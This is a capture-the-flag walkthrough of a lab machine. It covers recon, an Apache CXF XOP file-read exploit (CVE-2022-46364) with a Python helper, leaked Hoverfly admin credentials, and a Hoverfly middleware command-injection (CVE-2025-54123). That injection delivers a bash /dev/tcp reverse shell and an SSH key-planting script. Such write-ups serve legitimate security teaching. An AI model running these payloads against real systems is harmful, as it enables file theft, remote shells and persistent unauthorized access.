1 RECON

1.1 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Result:

Plaintext
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.13.68
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.27.v20200227)
8500/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 03:02:45 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 03:02:17 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   HTTPOptions:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 03:02:19 GMT
|     Content-Length: 64
|_    This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard

The scan exposed four main leads:

  • anonymous FTP on 21
  • a vhost on 80 (devarea.htb)
  • a Jetty-backed service on 8080
  • a Hoverfly dashboard on 8888 with a proxy listener on 8500.

1.1.1 Port 80: Web

The front-end web application was just a decorative static page:

|475x228

1.1.2 Port 21: FTP

Anonymous FTP login allowed:

Bash
ftp [email protected]

Pull all:

axura @ labyrinth :~
$ ftp [email protected]
Connected to devarea.htb.
220 (vsFTPd 3.0.5)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Sep 22  2025 .
drwxr-xr-x    3 ftp      ftp          4096 Sep 22  2025 ..
drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 .
drwxr-xr-x    3 ftp      ftp          4096 Sep 22  2025 ..
-rw-r--r--    1 ftp      ftp       6445030 Sep 22  2025 employee-service.jar
226 Directory send OK.
ftp> get employee-service.jar
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes).
226 Transfer complete.
6445030 bytes received in 748.8359 seconds (8.4050 kbytes/s)
ftp> bye
221 Goodbye.
$ file employee-service.jar
employee-service.jar: Java archive data (JAR) Java archive data (JAR)

That gave us a JAR to reverse.

1.1.3 Port 8080: Jetty

Browsing to :8080 returned a default Jetty 404 Not Found page, which confirmed the port was serving a Java web application but not exposing content at the root path.

1.1.4 Port 8888: Hoverfly

8888 was identifiable as Hoverfly from the dashboard, and the paired 8500 service behaved like a proxy in the scan:

|475x163

Credentials are required for access.

At that stage, Hoverfly was still locked down, so the better move was to park it for later and work the weaker boundary first: the exposed FTP artifact and the custom Jetty service on 8080.


2 USER

2.1 Java Reversing

Decompiling the downloaded employee-service.jar in JADX revealed a very simple Java web application:

Quick code review from the decompiled classes:

Java
factory.setAddress("http://0.0.0.0:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");

This confirmed the real endpoint was /employeeservice, not /.

The service exposed a single SOAP operation, submitReport:

Java
public interface EmployeeService {
    String submitReport(Report report);
}

And the request body had four user-controlled fields inside a Report object:

Java
private String employeeName;
private String department;
private String content;
private boolean confidential;

The application reflected submitted fields back in the response, which made the SOAP method easy to test:

Java
return greeting + ". Department: " + report.getDepartment() + ". Content: " + report.getContent();

2.2 Employee Service

After reversing the JAR, the next probe was:

URLs
http://devarea.htb:8080/employeeservice
http://devarea.htb:8080/employeeservice?wsdl

2.2.1 SOAP

SOAP is an XML-based web service protocol, so this application does not expect normal JSON or form requests.

Instead, clients send XML inside a SOAP envelope to call a defined method on the service.

2.2.2 WSDL

WSDL stands for Web Services Description Language, which is the contract file describing the available operation, parameter structure, and XML schema.

Simply request the endpoint which holds the contract:

Bash
curl http://devarea.htb:8080/employeeservice?wsdl

Contract needed for the SOAP interaction:

XML
<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
  <wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">

  <xs:element name="submitReport" type="tns:submitReport"/>

  <xs:element name="submitReportResponse" type="tns:submitReportResponse"/>

  <xs:complexType name="submitReport">
    <xs:sequence>
      <xs:element minOccurs="0" name="arg0" type="tns:report"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="report">
    <xs:sequence>
      <xs:element name="confidential" type="xs:boolean"/>
      <xs:element minOccurs="0" name="content" type="xs:string"/>
      <xs:element minOccurs="0" name="department" type="xs:string"/>
      <xs:element minOccurs="0" name="employeeName" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="submitReportResponse">
    <xs:sequence>
      <xs:element minOccurs="0" name="return" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

</xs:schema>
  </wsdl:types>
  <wsdl:message name="submitReport">
    <wsdl:part element="tns:submitReport" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:message name="submitReportResponse">
    <wsdl:part element="tns:submitReportResponse" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:portType name="EmployeeService">
    <wsdl:operation name="submitReport">
      <wsdl:input message="tns:submitReport" name="submitReport">
    </wsdl:input>
      <wsdl:output message="tns:submitReportResponse" name="submitReportResponse">
    </wsdl:output>
    </wsdl:operation>
  </wsdl:portType>
  <wsdl:binding name="EmployeeServiceServiceSoapBinding" type="tns:EmployeeService">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="submitReport">
      <soap:operation soapAction="" style="document"/>
      <wsdl:input name="submitReport">
        <soap:body use="literal"/>
      </wsdl:input>
      <wsdl:output name="submitReportResponse">
        <soap:body use="literal"/>
      </wsdl:output>
    </wsdl:operation>
  </wsdl:binding>
  <wsdl:service name="EmployeeServiceService">
    <wsdl:port binding="tns:EmployeeServiceServiceSoapBinding" name="EmployeeServicePort">
      <soap:address location="http://devarea.htb:8080/employeeservice"/>
    </wsdl:port>
  </wsdl:service>
</wsdl:definitions>

2.2.3 submitReport

The contract gave us everything needed for a valid request: the SOAP action was submitReport, the service path was /employeeservice, and the body had to wrap a report object inside arg0.

The important fields were:

XML
<arg0>
  <confidential>false</confidential>
  <content>...</content>
  <department>...</department>
  <employeeName>...</employeeName>
</arg0>

The next step was to send a minimal SOAP request and see how the service reflected user input:

Bash
curl -s http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: text/xml; charset=utf-8' \
  -d @- <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
  <soapenv:Header/>
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>hello</content>
        <department>IT</department>
        <employeeName>test</employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>
EOF

Response from the service:

XML
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
   <soap:Body>
      <ns2:submitReportResponse xmlns:ns2="http://devarea.htb/">
         <return>Report received from test. Department: IT. Content: hello</return>
      </ns2:submitReportResponse>
   </soap:Body>
</soap:Envelope>

That proved submitReport worked and reflected controlled input.

2.3 Apache CXF Framework

From the Java RE, we saw:

Java
import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

Apache CXF is the framework handling the SOAP service, so the next question was which CXF build had been shipped inside the JAR.

The library version can be confirmed from the embedded Maven metadata:

Path
META-INF/maven/org.apache.cxf/cxf-core/pom.properties
META-INF/maven/org.apache.cxf/cxf-rt-frontend-jaxws/pom.properties

Both files showed the same bundled Apache CXF version:

Version
version=3.2.14

That version fell straight into NVD - cve-2022-46364.

2.3.1 CVE-2022-46364

CVE-2022-46364 is an Apache CXF XOP/MTOM parsing issue that can be abused when a SOAP service accepts user-controlled parameters and processes xop:Include content.

That matched this target well: the endpoint was CXF-backed, submitReport accepted a user-controlled Report object, and the application already reflected submitted fields back in the response.

2.3.1.1 MTOM/XOP PoC

MTOM is a SOAP mechanism for transmitting binary or external content efficiently, while XOP is the XML format that references content through <xop:Include ...>.

So instead of placing plain text directly inside a normal SOAP field, the next test was to place an xop:Include reference inside one of the user-controlled fields and observe whether Apache CXF resolved it.

The SOAP body used to leak /etc/passwd:

XML
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
  <soapenv:Header/>
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>hello</content>
        <department>IT</department>
        <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

Wrap the XML as the root MIME part in poc.req:

Request body
------devarea
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root@devarea>

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
  <soapenv:Header/>
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>hello</content>
        <department>IT</department>
        <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>
------devarea--

Send the multipart request as-is:

Bash
curl -s -X POST http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; type="application/xop+xml"; start="<root@devarea>"; start-info="text/xml"; boundary="----devarea"' \
  --data-binary @poc.req

The MIME parameters mattered here:

  • multipart/related tells the server the request is a MIME message with related parts, which is required for MTOM/XOP parsing.
  • type="application/xop+xml" marks the root part as XOP XML rather than a normal standalone SOAP document.
  • start="<root@devarea>" identifies which MIME part is the root SOAP document. It must match the Content-ID used by the root part in the multipart body.
  • start-info="text/xml" tells CXF that the root XOP part contains a SOAP XML document.

Fire the PoC:

axura @ labyrinth :~
$ curl -s -X POST http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; type="application/xop+xml"; start="<root@devarea>"; start-info="text/xml"; boundary="----devarea"' \
  --data-binary @poc.req
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report received from cm9vdDp4OjA6MDpyb290
Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5
bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6
L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1
dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6
eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9z
YmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDo5OTg6
OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4Ojk5Nzo5OTc6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbjovOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDox
MDE6MTAyOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6OTkyOjk5MjpzeXN0ZW1kIFJlc29sdmVyOi86L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTAyOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRl
Oi9iaW4vZmFsc2UKcG9sa2l0ZDp4Ojk5MTo5OTE6VXNlciBmb3IgcG9sa2l0ZDovOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp1dWlkZDp4OjEwNDoxMDU6Oi9ydW4vdXVp
ZGQ6L3Vzci9zYmluL25vbG9naW4KdGNwZHVtcDp4OjEwNToxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp0c3M6eDoxMDY6MTA4OlRQTSBzb2Z0d2FyZSBzdGFjaywsLDovdmFyL2xpYi90cG06L2Jpbi9mYWxzZQpsYW5kc2NhcGU6
eDoxMDc6MTA5OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KZnd1cGQtcmVmcmVzaDp4Ojk4OTo5ODk6RmlybXdhcmUgdXBkYXRlIGRhZW1vbjovdmFyL2xpYi9md3VwZDovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMDg6
NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwOTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmRldl9yeWFuOng6MTAwMToxMDAxOjovaG9tZS9kZXZfcnlhbjovYmlu
L2Jhc2gKZnRwOng6MTEwOjExMTpmdHAgZGFlbW9uLCwsOi9zcnYvZnRwOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3dhdGNoOng6OTg0Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9v
bC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNl
Cg==. Department: IT. Content: hello</return></ns2:submitReportResponse></soap:Body></soap:Envelope>%

The file content came back base64-encoded inside employeeName, which means xop:Include was dereferenced successfully.

axura @ labyrinth :~
$ echo -n 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9i...L2ZhbHNlCg==' \
| base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
_laurel:x:999:987::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

The file leaked cleanly and confirmed both the target user dev_ryan and the service account syswatch.

2.3.1.2 XXE Helper

This was not a classic DOCTYPE-based XXE, but it gave the same outcome: attacker-controlled XML caused the server-side parser to dereference a local resource and return its content.

In practice, this gave us an XXE-style file-read primitive over CXF XOP/MTOM, so a small helper made repeated reads easier:

Python
#!/usr/bin/env python3
import base64
import re
import sys
from pathlib import Path

import requests

TARGET = "http://devarea.htb:8080/employeeservice"
BOUNDARY = "----devarea"


def build_body(uri: str) -> str:
    xml = f"""<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
  <soapenv:Header/>
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>hello</content>
        <department>IT</department>
        <employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="{uri}"/></employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>"""
    return (
        f"--{BOUNDARY}\r\n"
        'Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\n'
        "Content-Transfer-Encoding: 8bit\r\n"
        "Content-ID: <root@devarea>\r\n\r\n"
        f"{xml}\r\n"
        f"--{BOUNDARY}--\r\n"
    )


def main() -> int:
    if len(sys.argv) != 2:
        print(f"Usage: {Path(sys.argv[0]).name} <file://path>")
        print("Example:")
        print(f"  {Path(sys.argv[0]).name} file:///etc/passwd")
        print(f"  {Path(sys.argv[0]).name} /etc/hosts")
        return 1

    uri = sys.argv[1]
    if "://" not in uri:
        uri = "file:///" + uri.lstrip("/")

    body = build_body(uri)
    headers = {
        "Content-Type": f'multipart/related; type="application/xop+xml"; start="<root@devarea>"; start-info="text/xml"; boundary="{BOUNDARY}"'
    }

    response = requests.post(TARGET, data=body.encode(), headers=headers, timeout=10)
    match = re.search(r"Report received from ([^.]+)\. Department:", response.text)

    if not match:
        print(response.text)
        return 1

    data = match.group(1)
    try:
        print(base64.b64decode(data).decode())
    except Exception:
        print(data)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Test:

axura @ labyrinth :~
$ python xxe.py /etc/hosts
127.0.0.1 localhost
127.0.1.1 devarea
127.0.0.1   devarea.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

$ python xxe.py /home/dev_ryan/user.txt
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report received from . Department: IT. Co
ntent: hello</return></ns2:submitReportResponse></soap:Body></soap:Envelope>

Though access to dev_ryan was not granted.

2.4 Hoverfly

2.4.1 Hoverfly CLI Auth

Hoverfly is an API simulation tool that runs as a proxy and exposes an admin UI/API, which explains the 8888 dashboard and the proxy behavior on 8500.

It supports local user authentication, and its CLI can create users with -add -username <user> -password <pass>.

Docs show Hoverfly authentication is enabled at startup and credentials can be supplied via CLI flags:

Bash
hoverctl start --auth
hoverctl start --auth --username <user> --password <pass>

2.4.2 Systemd Startup Leakage

Since auth is configured at startup, the most direct way to recover the credentials was to read the systemd unit and inspect its ExecStart line.

The first target was:

Path
/etc/systemd/system/hoverfly.service

This file was a high‑value read because it typically contains the full hoverfly command line and any hardcoded -add -username -password values.

With our previous xxe.py, we can leak the config file:

/etc/systemd/system/hoverfly.service
Description=HoverFly service
After=network.target

[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

Restart=on-failure
RestartSec=5
StartLimitIntervalSec=60
StartLimitBurst=5
LimitNOFILE=65536
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target

Credentials recovered.

2.4.3 CVE-2025-54123

With the recovered admin credentials, the dashboard on http://devarea.htb:8888 opened up:

Hoverfly version v1.11.3.

2.4.3.1 Vulnerability Analysis

Checking that exact version against CVE-2025-54123 quickly pointed to a command injection bug in Hoverfly's middleware management endpoint, /api/v2/hoverfly/middleware, affecting versions before 1.12.0.

In core/middleware/middleware.go from the v1.11.3 tree, attacker-controlled script content is written into a temporary file:

Java
func (this *Middleware) SetScript(scriptContent string) error {
    tempDir := path.Join(os.TempDir(), "hoverfly")
    os.Mkdir(tempDir, 0777)
    newScript, err := os.CreateTemp(tempDir, "hoverfly_") 
    _, err = newScript.Write([]byte(scriptContent)) // write input to disk
    this.DeleteScript()
    this.Script = newScript // handle kept to the user-controlled script
    return nil
}

Then in line 93-95, attacker-controlled input is also assigned directly as the executable path:

Java
func (this *Middleware) SetBinary(binary string) error {
    this.Binary = binary // store user-controlled executable path
    return nil
}

The execution sink is in core/middleware/local_middleware.go:

Java
func (this Middleware) executeMiddlewareLocally(pair models.RequestResponsePair) (models.RequestResponsePair, error) {
    var middlewareCommand *exec.Cmd
    if this.Script == nil {
        middlewareCommand = exec.Command(this.Binary) // attacker controls the binary
    } else {
        middlewareCommand = exec.Command(this.Binary, this.Script.Name()) // attacker controls both values
    }

The final issue is in core/hoverfly_service.go, where middleware is executed immediately after being set:

Java
func (hf *Hoverfly) SetMiddleware(binary, script, remote string) error {
    err := newMiddleware.SetBinary(binary) // store attacker-controlled binary
    err = newMiddleware.SetScript(script)  // write attacker-controlled script
    _, err = newMiddleware.Execute(testData) // execute immediately during validation
    hf.Cfg.Middleware = *newMiddleware
    return nil
}

So PUT /api/v2/hoverfly/middleware is enough on its own. The server executes the payload during middleware validation, no extra trigger needed.

2.4.3.2 Exploit

That matched our target version and the exposed admin API on 8888, so the next steps were:

  1. Obtain a JWT from /api/token-auth using the recovered credentials.
  2. Set a malicious middleware script via PUT /api/v2/hoverfly/middleware.
  3. Receive a shell as dev_ryan.

So:

Bash
# Get a token 
jwt=$(curl -s -X POST http://devarea.htb:8888/api/token-auth \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"O7IJ27MyyXiU"}' | jq -r .token)

# Prepare listener:
nc -lnvp 443

# Use the returned JWT to install a malicious middleware
curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
    -H "Authorization: Bearer $jwt" \
    -H "Content-Type: application/json" \
    -d '{"binary":"/bin/bash","script":"#!/bin/bash\nbash -i >& /dev/tcp/'"$attackerIp"'/443 0>&1 &\ncat"}'

The vulnerable middleware endpoint executed the payload immediately and returned a shell as dev_ryan:

axura @ labyrinth :~
$ sudo rlwrap nc -lnvp 443
Connection from 10.129.78.103:34208
dev_ryan@devarea:/opt/HoverFly$ id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
dev_ryan@devarea:/opt/HoverFly$ cd
dev_ryan@devarea:~$ ls -a
.
..
.bash_history
.bash_logout
.bashrc
.cache
.local
.profile
.ssh
syswatch-v1.zip
user.txt
dev_ryan@devarea:~$ cat user*
5*****************************f

That was the foothold.

2.5 SSH Connection

To stabilize the foothold, we can use the universal template to add SSH key for direct login:

Bash
#!/bin/bash

# create ssh key pair
ssh-keygen -t ed25519 -f /tmp/k -N ""

# vars
u="dev_ryan"
d="devarea.htb"
pk="$(cat /tmp/k.pub)"
sp="/home/$u/.ssh"

# write pub key to home ssh path
cmd="install -d -m 700 $sp && printf '%s\n' '$pk' > $sp/authorized_keys && chmod 600 $p/authorized_keys"

### START EXPLOIT ###
jwt=$(curl -s -X POST http://devarea.htb:8888/api/token-auth \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"O7IJ27MyyXiU"}' | jq -r .token)

curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer $jwt" \
  -H "Content-Type: application/json" \
  -d '{"binary":"/bin/bash","script":"#!/bin/bash\n'"$cmd"'\ncat"}'
### END EXPLOIT ###

# connect
chmod 600 /tmp/k
ssh -i /tmp/k $u@$d

Stable shell:

axura @ labyrinth :~
dev_ryan@devarea:~$ id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
dev_ryan@devarea:~$ ls -lah
total 56K
drwxr-x--- 5 dev_ryan dev_ryan 4.0K Mar 10 16:28 .
drwxr-xr-x 3 root     root     4.0K Dec  4 14:05 ..
lrwxrwxrwx 1 root     root        9 Mar 10 16:28 .bash_history -> /dev/null
-rw-r--r-- 1 dev_ryan dev_ryan  220 Sep 21  2025 .bash_logout
-rw-r--r-- 1 dev_ryan dev_ryan 3.7K Sep 21  2025 .bashrc
drwx------ 2 dev_ryan dev_ryan 4.0K Sep 21  2025 .cache
drwxrwxr-x 3 dev_ryan dev_ryan 4.0K Dec 12 21:22 .local
-rw-r--r-- 1 dev_ryan dev_ryan  807 Sep 21  2025 .profile
drwx------ 2 dev_ryan dev_ryan 4.0K Mar 29 10:07 .ssh
-rw-r--r-- 1 root     root      20K Dec 14 13:39 syswatch-v1.zip
-rw-r----- 1 root     dev_ryan   33 Mar 28 23:31 user.txt

